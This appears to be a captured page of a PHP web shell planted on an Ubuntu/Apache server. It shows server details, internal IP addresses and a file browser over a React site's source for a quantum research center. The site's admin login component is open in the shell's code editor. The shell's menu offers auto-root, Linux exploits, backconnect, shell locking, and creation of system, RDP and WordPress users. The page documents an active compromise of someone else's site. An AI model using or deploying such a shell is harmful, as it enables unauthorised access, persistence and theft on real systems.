Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
src /
pages /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutPage.tsx
464
B
-rw-r--r--
AdminDashboard.tsx
6.63
KB
-rw-r--r--
AdminLogin.tsx
4.9
KB
-rw-r--r--
ContactPage.tsx
403
B
-rw-r--r--
CourseDetailPage.tsx
17.14
KB
-rw-r--r--
CoursesManager.tsx
15.6
KB
-rw-r--r--
EducationPage.tsx
23.77
KB
-rw-r--r--
Index.tsx
1.25
KB
-rw-r--r--
LabsManager.tsx
13.28
KB
-rw-r--r--
LabsPage.tsx
12.33
KB
-rw-r--r--
NewsDetailPage.tsx
10.51
KB
-rw-r--r--
NewsManager.tsx
11.66
KB
-rw-r--r--
NewsPage.tsx
11.77
KB
-rw-r--r--
NotFound.tsx
727
B
-rw-r--r--
PersonPage.tsx
1.67
KB
-rw-r--r--
PublicationsManager.tsx
12.17
KB
-rw-r--r--
PublicationsPage.tsx
15.17
KB
-rw-r--r--
ResearchDetailPage.tsx
16.93
KB
-rw-r--r--
ResearchManager.tsx
15.75
KB
-rw-r--r--
ResearchPage.tsx
14.3
KB
-rw-r--r--
TeamManager.tsx
12.4
KB
-rw-r--r--
TeamPage.tsx
781
B
-rw-r--r--
WorkshopDetailPage.tsx
19.23
KB
-rw-r--r--
WorkshopsManager.tsx
16.05
KB
-rw-r--r--
WorkshopsPage.tsx
7.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminLogin.tsx
import { useState } from 'react'; import { useNavigate } from 'react-router-dom'; import { useAuth } from '../contexts/AuthContext'; import { Button } from '../components/ui/button'; import { Input } from '../components/ui/input'; import { Label } from '../components/ui/label'; import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '../components/ui/card'; import { Alert, AlertDescription } from '../components/ui/alert'; import { Loader2, Lock, User, ShieldCheck } from 'lucide-react'; const AdminLogin = () => { const [username, setUsername] = useState(''); const [password, setPassword] = useState(''); const [error, setError] = useState(''); const [isLoading, setIsLoading] = useState(false); const { login } = useAuth(); const navigate = useNavigate(); const handleSubmit = async (e: React.FormEvent) => { e.preventDefault(); setError(''); setIsLoading(true); try { await login(username, password); navigate('/admin/dashboard'); } catch (err: any) { setError(err.message || 'Login failed. Please check your credentials.'); } finally { setIsLoading(false); } }; return ( <div className="min-h-screen bg-gradient-to-br from-blue-950 via-slate-900 to-black flex items-center justify-center p-4"> {/* Background Effects */} <div className="absolute inset-0 overflow-hidden pointer-events-none"> <div className="absolute top-1/4 left-1/4 w-96 h-96 bg-blue-500/10 rounded-full blur-3xl animate-float"></div> <div className="absolute bottom-1/4 right-1/4 w-96 h-96 bg-purple-500/10 rounded-full blur-3xl animate-float-delayed"></div> </div> <Card className="w-full max-w-md relative z-10 bg-slate-900/90 backdrop-blur-xl border-slate-700"> <CardHeader className="space-y-1 text-center"> <div className="flex justify-center mb-4"> <div className="p-4 bg-gradient-to-br from-blue-500 to-purple-600 rounded-2xl shadow-lg"> <ShieldCheck className="w-8 h-8 text-white" /> </div> </div> <CardTitle className="text-3xl font-bold bg-gradient-to-r from-blue-400 to-purple-400 bg-clip-text text-transparent"> Admin Portal </CardTitle> <CardDescription className="text-slate-400"> Sign in to manage your quantum center content </CardDescription> </CardHeader> <CardContent> <form onSubmit={handleSubmit} className="space-y-4"> {error && ( <Alert variant="destructive" className="bg-red-950/50 border-red-800 text-red-200"> <AlertDescription>{error}</AlertDescription> </Alert> )} <div className="space-y-2"> <Label htmlFor="username" className="text-slate-300">Username</Label> <div className="relative"> <User className="absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-slate-500" /> <Input id="username" type="text" placeholder="Enter your username" value={username} onChange={(e) => setUsername(e.target.value)} className="pl-10 bg-slate-800/50 border-slate-700 text-white placeholder:text-slate-500 focus:border-blue-500" required /> </div> </div> <div className="space-y-2"> <Label htmlFor="password" className="text-slate-300">Password</Label> <div className="relative"> <Lock className="absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-slate-500" /> <Input id="password" type="password" placeholder="Enter your password" value={password} onChange={(e) => setPassword(e.target.value)} className="pl-10 bg-slate-800/50 border-slate-700 text-white placeholder:text-slate-500 focus:border-blue-500" required /> </div> </div> <Button type="submit" className="w-full bg-gradient-to-r from-blue-600 to-purple-600 hover:from-blue-700 hover:to-purple-700 text-white font-semibold py-6 transition-all duration-300 hover:scale-[1.02]" disabled={isLoading} > {isLoading ? ( <> <Loader2 className="mr-2 h-4 w-4 animate-spin" /> Signing in... </> ) : ( 'Sign In' )} </Button> </form> <div className="mt-6 text-center"> <p className="text-sm text-slate-500"> Authorized personnel only. All activities are logged. </p> </div> </CardContent> </Card> </div> ); }; export default AdminLogin;
Close